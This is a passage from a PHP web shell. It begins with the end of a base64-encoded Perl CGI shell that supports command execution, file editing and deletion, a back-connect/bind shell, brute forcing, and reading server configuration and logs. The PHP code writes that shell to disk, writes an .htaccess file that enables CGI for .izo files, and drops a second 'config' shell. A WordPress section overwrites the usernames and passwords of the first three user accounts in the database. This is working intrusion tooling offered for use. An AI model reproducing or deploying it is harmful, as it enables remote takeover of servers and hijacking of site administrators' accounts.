EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='paijo' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='haxor' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
